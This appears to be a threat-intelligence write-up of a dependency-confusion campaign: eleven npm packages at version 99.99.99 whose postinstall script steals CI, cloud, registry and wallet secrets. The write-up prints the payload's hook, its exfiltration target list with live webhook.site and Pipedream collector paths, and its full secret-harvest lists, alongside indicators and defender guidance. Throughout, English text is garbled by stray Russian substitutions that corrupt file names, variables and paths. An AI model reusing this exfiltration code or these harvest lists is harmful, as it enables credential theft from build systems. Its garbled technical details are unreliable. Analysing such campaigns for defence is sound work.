TL, д-р
On 2026-06-17, a single npm account published eleven packages that share one purpose and one payload. Ten of them carry the cryptodao- приставка (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); the eleventh is the scoped @public-for-cdao/core. Every one was published at version 99.99.99 and ships a byte-identical recon.js который работает на postinstall.
The names are the tell. They read like the internal building blocks of a crypto/DAO project's private toolchain. Published to the public npm registry at an artificially high version, they sit in wait for a build pipeline that is configured to resolve those names and that reaches public npm before — or instead of — the private registry. This is путаница с зависимостями, and the payload is tuned for exactly where it expects to land: CI/CD бегунов.
После появления postinstall пожары recon.js collects host details, sweeps roughly forty cloud, CI, and crypto-wallet environment variables, reads any .env files it can find and forwards the secret-bearing lines verbatim, then transmits the bundle to two collectors — webhook.site and a Pipedream endpoint — with TLS certificate verification disabled. A copy is also written under /tmp.
Уровень опасности: высокая. Affected ecosystem: НПМ. All eleven packages were live at the time of writing.
Attack anatomy
The mechanism has four moving parts, and none of them is subtle once you know to look one layer past the package name.
1. Version inflation as a resolver lure. Each package declares version 99.99.99. Dependency confusion works when a package manager, asked for an internal name, also checks the public registry and picks the highest version it finds. npm’s default selection for a caret or wildcard range is the highest-satisfying version across every configured source; if both a private registry and public npm answer for the same name, the larger version number wins. A 99.99.99 outranks essentially any real internal version a project will have reached, so a resolver that is not pinned to the private source prefers the public — and in this case, hostile — copy. The operator does not need to know the target’s real version numbers; picking an absurd maximum guarantees the tie always breaks their way.
2. A postinstall trigger. пакет.json wires the payload to the install жизненный цикл:
{
"scripts": { "postinstall": "node recon.js" }
} No import of the package is required. Merely installing it — which a CI pipeline does automatically — runs recon.js.
3. A broad secret sweep. recon.js assembles a results array in stages:
- Host context: hostname, platform and release, architecture, username, working каталог.
- Environment variables: it iterates a fixed list of about forty names and records any that are set. The list is revealing — it pairs generic CI tokens (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) and cloud реквизиты для входа (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) with registry and container secrets (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) and a distinctly crypto-flavored cluster: PRIVATE_KEY, МНЕМОНИКА, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPC. Recorded values are truncated to the first 50 characters.
- .env files: it probes a list of paths — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, и .производство/.development variants — and for any file that exists, it filters the contents to lines matching KEY|SECRET|TOKEN|PASS|PRIVATE|MNEMONIC and pushes those lines **in full, untruncated** into the results.
- Build-host context: it lists the first 20 entries of /builds/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ и / tmp /.
The path list and variable list are weighted toward GitLab runners, which points the payload squarely at self-hosted CI infrastructure rather than a developer laptop. Grouping the harvest list by category makes the intended haul plain:
| Категория | Variables / paths reached |
|---|---|
| CI/CD identity & deploy | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| облако | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registry & container | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Хранилища данных | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Crypto / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| обмен сообщениями | SLACK_TOKEN, DISCORD_TOKEN |
| On-disk | .env семья + /home/gitlab-runner/.env, /root/.env, /app/**/.env; directory listings of /builds/, /var/lib/gitlab-runner/ |
The crypto cluster is the part that distinguishes this from a generic CI-secret sweep: wallet seed phrases and signing keys only appear in the environment of a blockchain project, and they map directly onto the cryptodao-/подписавшийся/контрактов naming of the carriers.
4. Dual exfiltration with verification disabled. The collected array is serialized and POSTed to two destinations:
const targets = [
{ host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },
{ host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' },
];
// ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) rejectUnauthorized: false turns off TLS certificate checks for the outbound calls. The same data is printed to stdout (so it also lands in CI job logs) and записываются в /tmp/.npm_recon_<timestamp>.json. Errors are swallowed silently, so a failed send leaves no trace in the install output beyond a single [recon] <pkg> installed on <hostname> линии.
A leading comment in the file describes it as a “Dependency Confusion Reconnaissance Payload.” The truncation of environment values to 50 characters has the shape of a proof of concept. What moves it past a presence-only beacon is the .env handling: secret-bearing lines are forwarded in full, and the destinations are two working, attacker-controlled collectors rather than a sink that only counts хиты.
Лента
The publish pattern is the signature of a single scripted push, not eleven independent uploads.
| Time (UTC, 2026-06-17) | События |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 опубликовала |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — scoped variant, ~24 min later |
Ten packages went out inside a 29-second window, roughly one every three seconds. The scoped @public-for-cdao/core followed about 24 minutes after — a second naming convention for the same target, in case the consuming project references the internal toolchain under a scope rather than as bare names.
Индикаторы компромисса
| Тип | Индикаторные |
|---|---|
| Коллектор | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Коллектор | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Установить крючок | postinstall: node recon.js |
| Dropped file | /tmp/.npm_recon_<timestamp>.json |
| Log marker | [recon] <pkg>@<ver> installed on <hostname> (stdout in CI logs) |
| Поведенческий | rejectUnauthorized: false on outbound HTTPS during install |
| полезная нагрузка | recon.js, identical across all eleven packages (one shared build) |
| Версия | 99.99.99 on every package |
| Packages | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (все 99.99.99) |
| Издатель | aduljune / aduljune@proton.me (email unverified, no linked source repository) |
Attribution & observed behavior
Everything about the cluster points to one hand. All eleven packages were published by the npm account aduljune (aduljune@proton.me, an unverified address with no linked source repository), inside a 25-minute span, at the same 99.99.99 версия, shipping a recon.js whose contents are byte-for-byte identical across every package (MD5 matches across all eleven extracted copies). That is one payload stamped onto a list of names, not independent code reuse.
The name list defines the intended target. cryptodao-* и cдао Опишите private module layout of a crypto/DAO project, and the payload’s harvest list mirrors that guess: alongside the generic CI and cloud secrets, it specifically достигает PRIVATE_KEY, МНЕМОНИКА, SEED_PHRASE, and Ethereum/BSC RPC and provider keys. The .env search paths and directory listings are GitLab-runner specific. The observable effect is that any pipeline tricked into installing these names would forward its CI tokens, cloud keys, and on-disk .env secrets — and, for a blockchain project, its wallet material — to two third-party collectors.
We make no claim about who operates the account or what they planned to do with the data. The facts that stand on their own: the names target a specific kind of internal toolchain, the payload reads and transmits real secret values, and the infrastructure was live.
Impact, trends, and defender guidance
Зависимость от путаницы remains effective because it exploits resolver behavior, not a vulnerability in any package. The carrier here is trivial — eleven near-empty packages — but the blast radius is whatever pipeline mistakenly prefers public npm for an internal name. CI runners are the worst place for that to happen: they hold exactly the tokens and .env files this payload reads, and they install dependencies non-interactively, so a послеустановка runs with no one watching.
This cluster also fits a pattern we keep seeing: install-time payloads that present as “research” or “reconnaissance” while doing real credential collection. The label in the file does not change what the code does on a runner. Two design choices keep the activity quiet: every network and filesystem operation is wrapped in an exception handler that discards errors, so a blocked send or a missing file produces no diagnostic output, and the only thing printed is a single innocuous [recon] … installed line that blends into normal install chatter. The use of вебхук.сайт and Pipedream is also deliberate convenience — both are free, instantly provisioned request-capture services, so the operator needs no servers of their own and the destinations look like ordinary SaaS hostnames in egress logs.
The economics are what make this worth a defender’s attention even though the carrier code is trivial. Registering eleven names costs nothing, the payload is one file copied eleven times, and the package manager does all the execution. A single неправильно настроен pipeline anywhere that consumes one of these names pays for the whole операции.
Concrete steps for defenders:
- Pin internal scopes to your private registry. Configure npm so internal names
and scopes resolve only against your registry (scoped .npmrc registry mappings, or a proxy that never falls through to public npm for owned namespaces). Reserve your public scope names so no one else can register them.
- Commit lockfiles and install with –ignore-scripts в КИ where feasible, or vet the small set of dependencies that genuinely need install scripts. recon.js cannot run if послеустановка не выполняется.
- Treat a 99.99.99 (or other absurdly high) version of an internal-looking name as a red flag in dependency review and registry monitoring.
- Alert on install-time egress. A послеустановка that opens an outbound HTTPS connection — especially with certificate verification disabled — to webhook.site, Pipedream, or similar request-capture services is worth blocking at the network edge and flagging in build logs.
- Hunt for the artifacts. Check runners for /tmp/.npm_recon_*.json и для [recon] … installed on … marker in recent CI logs. If found, rotate every credential exposed to that pipeline — CI tokens, cloud keys, registry tokens, and any wallet seeds or private keys present in the environment or .env files.
Референсы
No external reporting on this cluster existed at the time of writing; the analysis above is based directly on the published package contents




